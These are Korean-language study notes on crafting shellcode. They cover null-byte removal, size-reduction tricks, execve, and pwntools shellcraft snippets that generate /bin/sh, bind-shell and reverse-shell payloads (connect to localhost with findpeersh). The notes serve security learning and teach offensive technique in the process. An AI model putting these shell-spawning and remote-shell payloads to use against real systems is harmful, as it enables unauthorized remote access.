Assembly Code
section .data(문자열과 개행문자...); 데이터 세그먼트
section .text(ELF 링킹을 위한 초기 엔트리 포인트); 텍스트 세그먼트
assembly 파일 => ELF 바이너리
32bit 기준
nasm -f elf 만든파일.asm
ld -m elf_i386 -o 만들파일명 만든파일.o
64bit 기준
nasm -f elf64 만든파일.asm
ld -o 만들파일 만든파일.o
Shell Code Null Remove
- jmp 명령어를 사용해 helloworld 함수를 지나 last 함수로 이동
(즉 jmp 부분에서 콜하는 부분을 -로 표현하여 null 값을 없애준다)
레지스터 값 초기화
- sub는 OF,SF,ZF,AF,PF,CF flag, xor은 OF,CF가 지워지고 SF,ZF,PF는 설정되기 때문에
flag에 덜 영향을 주는 xor을 사용하여 초기화 하는것이 더 좋다
C언어 Shell 코드 실행 함수
execl, execlp, execle, execv, execvp, execve
uid 와 euid의 차이
uid는 실행하는 유저의 id, euid는 실행 될 때 유저의 id
/bin/sh을 push로 표현
/sh 문자앞에 / 를 추가하여 Null Byte 제거
쉘코드 길이 줄이기
CDQ(Convert Doubleword to Quadword) instruction
EAX에 저장된 부호값에 따라 EDX에 저장( 양수(SF=0)이면 0x00000000, 음수(SF=1)이면 0xFFFFFFFF)
=> 쉘코드 길이 XOR 보다 1바이트 줄인다
PUSH,POP 명령어를 이용
xor eax,eax; 31 C0 => push byte+0xb; 6A 0B
mov al,0xb; B0 0B => pop eax; 58
:1byte 줄이기
execve 줄이기
execve의 두번째 인자를 NULL 로 사용가능.
xchg Instruction
해당 명령어는 두 피연산자가 가지고 있는 값을 서로 교환하는 명령
Reverse ShellCode
Bind Shellcode 는 공격대상에 Server 형태로 Port를 오픈해 클라이언트가 접속하는 방식
Reverse Shellcode는 Port를 열어서 연결을 기다리는 대신 공격자가 ip,port로 연결합니다
연산 레지스터 : ecx
CMP 명령어 대신 DEC 명령어로 코드길이를 줄인다.
PwnTools
shellcraft 모듈을 제공
run_assembly()함수로 shellcode 실행
>>> shellcode = shellcraft.i386.linux.sh()
>>> p = run_assembly(shellcode)
bindsh()함수로 bind shellcode 생성
>>> from pwn import *
>>> shellcode = shellcraft.amd64.linux.bindsh(2345, 'ipv4')
>>> p = run_assembly(shellcode,arch='amd64')
>>> p.wait_for_close()
Reverse Shellcode
connect 함수로 네트워크 연결에 필요한 소켓을 생성 및 host에 연결하는 shellcode 생성
findpeersh()함수를 이용해 connect 함수에 의해 생성된 소켓에 표준 스트림을 복제
>>> from pwn import *
>>> assembly = shellcraft.i386.linux.connect('localhost', 2345, 'ipv4')
>>> assembly += shellcraft.i386.linux.findpeersh(2345)